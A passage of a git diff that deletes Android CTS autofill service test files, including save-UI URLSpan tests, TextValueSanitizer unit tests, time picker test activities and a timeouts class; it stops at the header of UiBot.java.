-        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-    }
-
-    enum DescriptionType {
-        SUCCINCT,
-        CUSTOM,
-    }
-
-    /**
-     * Tests scenarios when user taps a span in the custom description, then the new activity
-     * finishes:
-     * the Save UI should have been restored.
-     */
-    @Test
-    @AppModeFull(reason = "No real use case for instant mode af service")
-    public void testTapUrlSpanOnCustomDescription_thenTapBack() throws Exception {
-        saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
-                ViewActionActivity.ActivityCustomAction.NORMAL_ACTIVITY);
-    }
-
-    /**
-     * Tests scenarios when user taps a span in the succinct description, then the new activity
-     * finishes:
-     * the Save UI should have been restored.
-     */
-    @Test
-    @AppModeFull(reason = "No real use case for instant mode af service")
-    public void testTapUrlSpanOnSuccinctDescription_thenTapBack() throws Exception {
-        saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
-                ViewActionActivity.ActivityCustomAction.NORMAL_ACTIVITY);
-    }
-
-    /**
-     * Tests scenarios when user taps a span in the custom description, then the new activity
-     * starts an another activity then it finishes:
-     * the Save UI should have been restored.
-     */
-    @Test
-    @AppModeFull(reason = "No real use case for instant mode af service")
-    public void testTapUrlSpanOnCustomDescription_forwardAnotherActivityThenTapBack()
-            throws Exception {
-        saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
-                ViewActionActivity.ActivityCustomAction.FAST_FORWARD_ANOTHER_ACTIVITY);
-    }
-
-    /**
-     * Tests scenarios when user taps a span in the succinct description, then the new activity
-     * starts an another activity then it finishes:
-     * the Save UI should have been restored.
-     */
-    @Test
-    @AppModeFull(reason = "No real use case for instant mode af service")
-    public void testTapUrlSpanOnSuccinctDescription_forwardAnotherActivityThenTapBack()
-            throws Exception {
-        saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
-                ViewActionActivity.ActivityCustomAction.FAST_FORWARD_ANOTHER_ACTIVITY);
-    }
-
-    /**
-     * Tests scenarios when user taps a span in the custom description, then the new activity
-     * stops but does not finish:
-     * the Save UI should have been restored.
-     */
-    @Test
-    @AppModeFull(reason = "No real use case for instant mode af service")
-    public void testTapUrlSpanOnCustomDescription_tapBackWithoutFinish() throws Exception {
-        saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
-                ViewActionActivity.ActivityCustomAction.TAP_BACK_WITHOUT_FINISH);
-    }
-
-    /**
-     * Tests scenarios when user taps a span in the succinct description, then the new activity
-     * stops but does not finish:
-     * the Save UI should have been restored.
-     */
-    @Test
-    @AppModeFull(reason = "No real use case for instant mode af service")
-    public void testTapUrlSpanOnSuccinctDescription_tapBackWithoutFinish() throws Exception {
-        saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
-                ViewActionActivity.ActivityCustomAction.TAP_BACK_WITHOUT_FINISH);
-    }
-
-    private void saveUiRestoredAfterTappingSpanTest(
-            DescriptionType type, ViewActionActivity.ActivityCustomAction action) throws Exception {
-        startActivity();
-        // Set service.
-        enableService();
-
-        switch (type) {
-            case SUCCINCT:
-                // Set expectations with custom description.
-                sReplier.addResponse(new CannedFillResponse.Builder()
-                        .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                        .setSaveDescription(newDescriptionWithUrlSpan(action.toString()))
-                        .build());
-                break;
-            case CUSTOM:
-                // Set expectations with custom description.
-                sReplier.addResponse(new CannedFillResponse.Builder()
-                        .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                        .setSaveInfoVisitor((contexts, builder) -> builder
-                                .setCustomDescription(
-                                        newCustomDescriptionWithUrlSpan(action.toString())))
-                        .build());
-                break;
-            default:
-                throw new IllegalArgumentException("invalid type: " + type);
-        }
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        // Waits for the commit be processed
-        mUiBot.waitForIdle();
-
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Tapping URLSpan.
-        final URLSpan span = mUiBot.findFirstUrlSpanWithText("Here is URLSpan");
-        mActivity.syncRunOnUiThread(() -> span.onClick(/* unused= */ null));
-        // Waits for the save UI hided
-        mUiBot.waitForIdle();
-
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // .. check activity show up as expected
-        switch (action) {
-            case FAST_FORWARD_ANOTHER_ACTIVITY:
-                // Show up second activity.
-                SecondActivity.assertShowingDefaultMessage(mUiBot);
-                break;
-            case NORMAL_ACTIVITY:
-            case TAP_BACK_WITHOUT_FINISH:
-                // Show up view action handle activity.
-                ViewActionActivity.assertShowingDefaultMessage(mUiBot);
-                break;
-            default:
-                throw new IllegalArgumentException("invalid action: " + action);
-        }
-
-        // ..then go back and save it.
-        mUiBot.pressBack();
-        // Waits for all UI processes to complete
-        mUiBot.waitForIdle();
-
-        // Make sure previous activity is back...
-        mUiBot.assertShownByRelativeId(ID_INPUT);
-
-        // ... and tap save.
-        final UiObject2 newSaveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-        mUiBot.saveForAutofill(newSaveUi, /* yesDoIt= */ true);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
-
-        SecondActivity.finishIt();
-        ViewActionActivity.finishIt();
-    }
-
-    private CustomDescription newCustomDescriptionWithUrlSpan(String action) {
-        final RemoteViews presentation = newTemplate();
-        presentation.setTextViewText(R.id.custom_text, newDescriptionWithUrlSpan(action));
-        return new CustomDescription.Builder(presentation).build();
-    }
-
-    private CharSequence newDescriptionWithUrlSpan(String action) {
-        final String url = "autofillcts:" + action;
-        final SpannableString ss = new SpannableString("Here is URLSpan");
-        ss.setSpan(new URLSpan(url),
-                /* start= */ 8,  /* end= */ 15, Spannable.SPAN_EXCLUSIVE_EXCLUSIVE);
-        return ss;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java b/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java
deleted file mode 100644
index dbe072c..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java
+++ /dev/null
@@ -1,131 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.TextValueSanitizer;
-import android.view.autofill.AutofillValue;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.regex.Pattern;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Unit test")
-public class TextValueSanitizerTest {
-
-    @Test
-    public void testConstructor_nullValues() {
-        assertThrows(NullPointerException.class,
-                () -> new TextValueSanitizer(Pattern.compile("42"), null));
-        assertThrows(NullPointerException.class,
-                () -> new TextValueSanitizer(null, "42"));
-    }
-
-    @Test
-    public void testSanitize_nullValue() {
-        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"), "42");
-        assertThat(sanitizer.sanitize(null)).isNull();
-    }
-
-    @Test
-    public void testSanitize_nonTextValue() {
-        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"), "42");
-        final AutofillValue value = AutofillValue.forToggle(true);
-        assertThat(sanitizer.sanitize(value)).isNull();
-    }
-
-    @Test
-    public void testSanitize_badRegex() {
-        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile(".*(\\d*).*"),
-                "$2"); // invalid group
-        final AutofillValue value = AutofillValue.forText("blah 42  blaH");
-        assertThat(sanitizer.sanitize(value)).isNull();
-    }
-
-    @Test
-    public void testSanitize_valueMismatch() {
-        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"), "xxx");
-        final AutofillValue value = AutofillValue.forText("43");
-        assertThat(sanitizer.sanitize(value)).isNull();
-    }
-
-    @Test
-    public void testSanitize_simpleMatch() {
-        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"),
-                "forty-two");
-        assertThat(sanitizer.sanitize(AutofillValue.forText("42")).getTextValue())
-            .isEqualTo("forty-two");
-    }
-
-    @Test
-    public void testSanitize_multipleMatches() {
-        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile(".*(\\d*).*"),
-                "Number");
-        assertThat(sanitizer.sanitize(AutofillValue.forText("blah 42  blaH")).getTextValue())
-            .isEqualTo("NumberNumber");
-    }
-
-    @Test
-    public void testSanitize_groupSubstitutionMatch() {
-        final TextValueSanitizer sanitizer =
-                new TextValueSanitizer(Pattern.compile("\\s*(\\d*)\\s*"), "$1");
-        assertThat(sanitizer.sanitize(AutofillValue.forText("  42 ")).getTextValue())
-                .isEqualTo("42");
-    }
-
-    @Test
-    public void testSanitize_groupSubstitutionMatch_withOptionalGroup() {
-        final TextValueSanitizer sanitizer =
-                new TextValueSanitizer(Pattern.compile("(\\d*)\\s?(\\d*)?"), "$1$2");
-        assertThat(sanitizer.sanitize(AutofillValue.forText("42 108")).getTextValue())
-                .isEqualTo("42108");
-        assertThat(sanitizer.sanitize(AutofillValue.forText("42108")).getTextValue())
-                .isEqualTo("42108");
-        assertThat(sanitizer.sanitize(AutofillValue.forText("42")).getTextValue())
-                .isEqualTo("42");
-        final TextValueSanitizer ccSanitizer = new TextValueSanitizer(Pattern.compile(
-                "^(\\d{4,5})-?\\s?(\\d{4,6})-?\\s?(\\d{4,5})" // first 3 are required
-                        + "-?\\s?((?:\\d{4,5})?)-?\\s?((?:\\d{3,5})?)$"), // last 2 are optional
-                "$1$2$3$4$5");
-        assertThat(ccSanitizer.sanitize(AutofillValue
-                .forText("1111 2222 3333 4444 5555")).getTextValue())
-                        .isEqualTo("11112222333344445555");
-        assertThat(ccSanitizer.sanitize(AutofillValue
-                .forText("11111-222222-33333-44444-55555")).getTextValue())
-                        .isEqualTo("11111222222333334444455555");
-        assertThat(ccSanitizer.sanitize(AutofillValue
-                .forText("1111 2222 3333 4444")).getTextValue())
-                        .isEqualTo("1111222233334444");
-        assertThat(ccSanitizer.sanitize(AutofillValue
-                .forText("11111-222222-33333-44444-")).getTextValue())
-                        .isEqualTo("111112222223333344444");
-        assertThat(ccSanitizer.sanitize(AutofillValue
-                .forText("1111 2222 3333")).getTextValue())
-                        .isEqualTo("111122223333");
-        assertThat(ccSanitizer.sanitize(AutofillValue
-                .forText("11111-222222-33333 ")).getTextValue())
-                        .isEqualTo("1111122222233333");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivity.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivity.java
deleted file mode 100644
index 82c4ae9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivity.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-public class TimePickerClockActivity extends AbstractTimePickerActivity {
-
-    @Override
-    protected int getContentView() {
-        return R.layout.time_picker_clock_activity;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivityTest.java
deleted file mode 100644
index f07d994..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivityTest.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.platform.test.annotations.AppModeFull;
-
-@AppModeFull(reason = "Unit test")
-public class TimePickerClockActivityTest extends TimePickerTestCase<TimePickerClockActivity> {
-
-    @Override
-    protected AutofillActivityTestRule<TimePickerClockActivity> getActivityRule() {
-        return new AutofillActivityTestRule<TimePickerClockActivity>(
-                TimePickerClockActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivity.java
deleted file mode 100644
index 0774e51..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivity.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-public class TimePickerSpinnerActivity extends AbstractTimePickerActivity {
-
-    @Override
-    protected int getContentView() {
-        return R.layout.time_picker_spinner_activity;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivityTest.java
deleted file mode 100644
index 9245387..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivityTest.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.platform.test.annotations.AppModeFull;
-
-@AppModeFull(reason = "Unit test")
-public class TimePickerSpinnerActivityTest extends TimePickerTestCase<TimePickerSpinnerActivity> {
-
-    @Override
-    protected AutofillActivityTestRule<TimePickerSpinnerActivity> getActivityRule() {
-        return new AutofillActivityTestRule<TimePickerSpinnerActivity>(
-                TimePickerSpinnerActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java
deleted file mode 100644
index 480cf13..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.AbstractTimePickerActivity.ID_OUTPUT;
-import static android.autofillservice.cts.AbstractTimePickerActivity.ID_TIME_PICKER;
-import static android.autofillservice.cts.Helper.assertNumberOfChildren;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.assertTimeValue;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.icu.util.Calendar;
-
-import org.junit.Test;
-
-/**
- * Base class for {@link AbstractTimePickerActivity} tests.
- */
-abstract class TimePickerTestCase<A extends AbstractTimePickerActivity>
-        extends AutoFillServiceTestCase.AutoActivityLaunch<A> {
-
-    protected A mActivity;
-
-    @Test
-    public void testAutoFillAndSave() throws Exception {
-        assertWithMessage("subclass did not set mActivity").that(mActivity).isNotNull();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final Calendar cal = Calendar.getInstance();
-        cal.set(Calendar.HOUR_OF_DAY, 4);
-        cal.set(Calendar.MINUTE, 20);
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                    .setPresentation(createPresentation("Adventure Time"))
-                    .setField(ID_OUTPUT, "Y U NO CHANGE ME?")
-                    .setField(ID_TIME_PICKER, cal.getTimeInMillis())
-                    .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_OUTPUT, ID_TIME_PICKER)
-                .build());
-
-        mActivity.expectAutoFill("4:20", 4, 20);
-
-        // Trigger auto-fill.
-        mActivity.onOutput((v) -> v.requestFocus());
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        // Assert properties of TimePicker field.
-        assertTextIsSanitized(fillRequest.structure, ID_TIME_PICKER);
-        assertNumberOfChildren(fillRequest.structure, ID_TIME_PICKER, 0);
-        // Auto-fill it.
-        mUiBot.selectDataset("Adventure Time");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Trigger save.
-        mActivity.setTime(10, 40);
-        mActivity.tapOk();
-
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
-
-        // Assert sanitization on save: everything should be available!
-        assertTimeValue(findNodeByResourceId(saveRequest.structure, ID_TIME_PICKER), 10, 40);
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_OUTPUT), "10:40");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Timeouts.java b/tests/autofillservice/src/android/autofillservice/cts/Timeouts.java
deleted file mode 100644
index a7f5c21..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/Timeouts.java
+++ /dev/null
@@ -1,136 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import com.android.compatibility.common.util.Timeout;
-
-/**
- * Timeouts for common tasks.
- */
-public final class Timeouts {
-
-    private static final long ONE_TIMEOUT_TO_RULE_THEN_ALL_MS = 20_000;
-    private static final long ONE_NAPTIME_TO_RULE_THEN_ALL_MS = 2_000;
-
-    public static final long MOCK_IME_TIMEOUT_MS = 5_000;
-    public static final long DRAWABLE_TIMEOUT_MS = 5_000;
-
-    public static final long LONG_PRESS_MS = 3000;
-    public static final long RESPONSE_DELAY_MS = 1000;
-
-    /**
-     * Timeout until framework binds / unbinds from service.
-     */
-    public static final Timeout CONNECTION_TIMEOUT = new Timeout("CONNECTION_TIMEOUT",
-            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    /**
-     * Timeout for {@link MyAutofillCallback#assertNotCalled()} - test will sleep for that amount of
-     * time as there is no callback that be received to assert it's not shown.
-     */
-    static final long CALLBACK_NOT_CALLED_TIMEOUT_MS = ONE_NAPTIME_TO_RULE_THEN_ALL_MS;
-
-    /**
-     * Timeout until framework unbinds from a service.
-     */
-    // TODO: must be higher than RemoteFillService.TIMEOUT_IDLE_BIND_MILLIS, so we should use a
-    // @hidden @Testing constants instead...
-    static final Timeout IDLE_UNBIND_TIMEOUT = new Timeout("IDLE_UNBIND_TIMEOUT",
-            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    /**
-     * Timeout to get the expected number of fill events.
-     */
-    public static final Timeout FILL_EVENTS_TIMEOUT = new Timeout("FILL_EVENTS_TIMEOUT",
-            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    /**
-     * Timeout for expected autofill requests.
-     */
-    static final Timeout FILL_TIMEOUT = new Timeout("FILL_TIMEOUT", ONE_TIMEOUT_TO_RULE_THEN_ALL_MS,
-            2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    /**
-     * Timeout for expected save requests.
-     */
-    static final Timeout SAVE_TIMEOUT = new Timeout("SAVE_TIMEOUT", ONE_TIMEOUT_TO_RULE_THEN_ALL_MS,
-            2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    /**
-     * Timeout used when save is not expected to be shown - test will sleep for that amount of time
-     * as there is no callback that be received to assert it's not shown.
-     */
-    static final long SAVE_NOT_SHOWN_NAPTIME_MS = ONE_NAPTIME_TO_RULE_THEN_ALL_MS;
-
-    /**
-     * Timeout for UI operations. Typically used by {@link UiBot}.
-     */
-    public static final Timeout UI_TIMEOUT = new Timeout("UI_TIMEOUT",
-            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    /**
-     * Timeout for a11y window change events.
-     */
-    static final long WINDOW_CHANGE_TIMEOUT_MS = ONE_TIMEOUT_TO_RULE_THEN_ALL_MS;
-
-    /**
-     * Timeout used when an a11y window change events is not expected to be generated - test will
-     * sleep for that amount of time as there is no callback that be received to assert it's not
-     * shown.
-     */
-    static final long WINDOW_CHANGE_NOT_GENERATED_NAPTIME_MS = ONE_NAPTIME_TO_RULE_THEN_ALL_MS;
-
-    /**
-     * Timeout for webview operations. Typically used by {@link UiBot}.
-     */
-    // TODO(b/80317628): switch back to ONE_TIMEOUT_TO_RULE_THEN_ALL_MS once fixed...
-    static final Timeout WEBVIEW_TIMEOUT = new Timeout("WEBVIEW_TIMEOUT", 3_000, 2F, 5_000);
-
-    /**
-     * Timeout for showing the autofill dataset picker UI.
-     *
-     * <p>The value is usually higher than {@link #UI_TIMEOUT} because the performance of the
-     * dataset picker UI can be affect by external factors in some low-level devices.
-     *
-     * <p>Typically used by {@link UiBot}.
-     */
-    static final Timeout UI_DATASET_PICKER_TIMEOUT = new Timeout("UI_DATASET_PICKER_TIMEOUT",
-            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    /**
-     * Timeout used when the dataset picker is not expected to be shown - test will sleep for that
-     * amount of time as there is no callback that be received to assert it's not shown.
-     */
-    public static final long DATASET_PICKER_NOT_SHOWN_NAPTIME_MS = ONE_NAPTIME_TO_RULE_THEN_ALL_MS;
-
-    /**
-     * Timeout (in milliseconds) for an activity to be brought out to top.
-     */
-    static final Timeout ACTIVITY_RESURRECTION = new Timeout("ACTIVITY_RESURRECTION",
-            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    /**
-     * Timeout for changing the screen orientation.
-     */
-    static final Timeout UI_SCREEN_ORIENTATION_TIMEOUT = new Timeout(
-            "UI_SCREEN_ORIENTATION_TIMEOUT", ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F,
-            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    private Timeouts() {
-        throw new UnsupportedOperationException("contain static methods only");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TrampolineForResultActivity.java b/tests/autofillservice/src/android/autofillservice/cts/TrampolineForResultActivity.java
deleted file mode 100644
index 6cdd33e..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/TrampolineForResultActivity.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Intent;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Activity used to launch another activity for result.
- */
-// TODO: move to common code
-public class TrampolineForResultActivity extends AbstractAutoFillActivity {
-    private static final String TAG = "TrampolineForResultActivity";
-
-    private final CountDownLatch mLatch = new CountDownLatch(1);
-
-    private int mExpectedRequestCode;
-    private int mActualRequestCode;
-    private int mActualResultCode;
-
-    /**
-     * Starts an activity for result.
-     */
-    public void startForResult(Intent intent, int requestCode) {
-        mExpectedRequestCode = requestCode;
-        startActivityForResult(intent, requestCode);
-    }
-
-    /**
-     * Asserts the activity launched by {@link #startForResult(Intent, int)} was finished with the
-     * expected result code, or fails if it times out.
-     */
-    public void assertResult(int expectedResultCode) throws Exception {
-        final boolean called = mLatch.await(1000, TimeUnit.MILLISECONDS);
-        assertWithMessage("Result not received in 1s").that(called).isTrue();
-        assertWithMessage("Wrong actual code").that(mActualRequestCode)
-            .isEqualTo(mExpectedRequestCode);
-        assertWithMessage("Wrong result code").that(mActualResultCode)
-                .isEqualTo(expectedResultCode);
-    }
-
-    @Override
-    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
-        Log.d(TAG, "onActivityResult(): req=" + requestCode + ", res=" + resultCode);
-        mActualRequestCode = requestCode;
-        mActualResultCode = resultCode;
-        mLatch.countDown();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TrampolineWelcomeActivity.java b/tests/autofillservice/src/android/autofillservice/cts/TrampolineWelcomeActivity.java
deleted file mode 100644
index dc39808..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/TrampolineWelcomeActivity.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.content.Intent;
-import android.os.Bundle;
-
-/**
- * Activity that launches a new {@link WelcomeActivity} and finishes right away.
- */
-public class TrampolineWelcomeActivity extends AbstractAutoFillActivity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        startActivity(new Intent(this, WelcomeActivity.class));
-        finish();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
deleted file mode 100644
index 8f927e9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ /dev/null
@@ -1,1265 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
